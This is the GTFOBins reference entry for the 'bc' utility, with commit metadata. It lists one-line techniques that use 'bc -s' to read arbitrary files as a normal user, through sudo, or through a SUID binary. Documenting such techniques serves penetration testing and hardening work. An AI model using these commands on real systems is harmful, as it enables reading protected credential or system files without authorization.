GTFOBins.github.io/_gtfobins/bc.md
Shadawck e637c45b84
Add bc
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-12-16 16:02:30 +01:00

21 lines
422 B
Markdown

---
description: The file content is actually parsed and appears as error messages, thus it might not be suitable to read arbitray binary files.
functions:
file-read:
- code: |
LFILE=file_to_read
bc -s $LFILE
quit
sudo:
- code: |
LFILE=file_to_read
sudo bc -s $LFILE
quit
suid:
- code: |
LFILE=file_to_read
./bc -s $LFILE
quit
---